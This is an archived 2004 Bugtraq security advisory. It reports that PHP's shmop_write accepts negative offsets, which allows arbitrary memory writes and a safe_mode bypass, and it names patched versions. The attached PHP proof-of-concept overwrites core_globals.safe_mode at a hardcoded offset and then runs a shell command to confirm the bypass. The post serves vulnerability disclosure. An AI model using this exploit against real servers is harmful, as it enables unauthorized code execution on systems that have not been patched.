[37813] in bugtraq

home help back first fref pref prev next nref lref last post

PHP shmop.c module permits write of arbitrary memory.

daemon@ATHENA.MIT.EDU (Stefano Di Paola)
Mon Dec 20 11:44:00 2004

From: Stefano Di Paola <stefano.dipaola@wisec.it>
To: Bugtraq <bugtraq@securityfocus.com>
Content-Type: multipart/mixed; boundary="=-EgJ4oUvtTJTtmsu2c4ap"
Message-Id: <1103481654.3237.1.camel@localhost>
Mime-Version: 1.0
Date: Sun, 19 Dec 2004 19:40:54 +0100


--=-EgJ4oUvtTJTtmsu2c4ap
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Hi list-eners,

==========================================================
Title: Php shmop write of arbitrary memory -  Safe Mode Bypass
Affected: Php <= 5.0.2 & 4.3.9 if shmop module is loaded.
Vulnerability Type: Input Validation - write of arbitrary memory

==Summary 
Shared Memory PHP Module has a memory leak when shmop_write function
checks for offset bounds.
This flaw could lead to bypass Safe Mode and other bad things.

==Description

shmop.c in PHP_FUNCTION(shmop_write)
function does not check if the 'offset' value is negative,
so it is possible to overwrite arbitrary memory with:

 memcpy(shmop->addr + offset, data, writesize);

this, in particular can be used to set safe_mode to off.
Attached there's a Proof of concept for this vuln.
It needs some gdb debugging or print the address of core_globals.safe_mode
and some try to get the right distance to set in '$offset'.
Of course shmop.so needs to be loaded as module or embedded in php bins.:)



Solution:
Update php to 5.0.3 or 4.3.10

Regards,
Stefano Di Paola

-- 
......---oOOo--------oOOo---......
Stefano Di Paola
Software Engineer
Email: stefano.dipaola_at_wisec.it
Email: stefano.dipaola1_at_tin.it
Web: www.wisec.it
..................................

--=-EgJ4oUvtTJTtmsu2c4ap
Content-Disposition: attachment; filename=safe_mode_bypass.php
Content-Type: application/x-php; name=safe_mode_bypass.php
Content-Transfer-Encoding: 7bit

<?
/*
   Php Safe_mode Bypass Proof of concept.
   
   Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it
   
   Disclaimer: The author is not responsible of any damage this script can cause
   
*/

 $shm_id = shmop_open(0xff2, "c", 0644, 100);
  if (!$shm_id) {
    echo "Couldn't create shared memory segment\n";
    die;
 }

// $data="\x01";
// the new value for safe_mode
 $data="\x00";
 
// this (-3842685) is my offset to reach core_globals.safe_mode
// taken with gdb. (0x40688d83)
 $offset=-3842685;
// Lets write the new value at our offset.
$shm_bytes_written = shmop_write($shm_id, $data, $offset );
if ($shm_bytes_written != strlen($data)) {
   echo "Couldn't write the entire length of data\n";
}

//Now lets delete the block and close the shared memory segment
if (!shmop_delete($shm_id)) {
   echo "Couldn't mark shared memory block for deletion.";
}
shmop_close($shm_id);

// Let's try if safe mode has been set to off
echo passthru("id");
dl("shmop.so");
?>

--=-EgJ4oUvtTJTtmsu2c4ap--


home help back first fref pref prev next nref lref last post